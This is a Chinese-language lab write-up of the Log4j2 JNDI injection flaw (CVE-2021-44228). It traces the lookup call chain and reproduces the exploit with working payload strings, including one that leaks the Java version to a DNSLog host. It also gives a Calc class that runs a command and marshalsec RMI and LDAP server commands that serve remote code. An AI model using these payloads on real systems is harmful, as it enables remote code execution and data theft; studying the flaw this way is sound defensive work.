Log4j2 lookup JNDI注入(CVE-2021-44228)

漏洞概述

Log4j2在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j2的漏洞

影响版本

Apache Log4j 2.x <= 2.14.1

Log4j2依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

DNSLog

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://${sys:java.version}.hzitqenuvp.dgrh3.cn}");
}
}

Java版本信息呈现

image-20240325172653379

漏洞原理

调用堆栈:

1
2
3
4
5
6
7
8
9
LOGGER.error
……
MessagePatternConverter.format
……
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup

MessagePatternConverter.format()

DNSLog代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析

StrSubstitutor.resolveVariable()

StrSubstitutor将${和}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能

Interpolator.lookup()

Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法

JndiLookup.lookup()

JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串

JndiManager.lookup()

直接委托给InitialContext.lookup()方法

后续便是常规的JNDI注入路径进行分析

JNDI+RMI

Log4j2.java

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
logger.error("${jndi:rmi://192.168.6.110:9999/Calc}");
}
}

Calc.java编译成class文件放在http服务下(python -m http.server 80)

1
2
3
4
5
6
7
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}

借助marshalsec项目(测试Jdk8u211),启动一个RMI服务器,监听9999端口,并制定加载远程类Calc.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.6.110/#Calc" 9999

image-20240325175647330

JNDI+LDAP

Log4j2.java

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://192.168.6.110:9999/Calc}");
}
}

marshalsec项目

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.6.110/#Calc" 9999

具体参考fastjson1.2.24

⬆︎TOP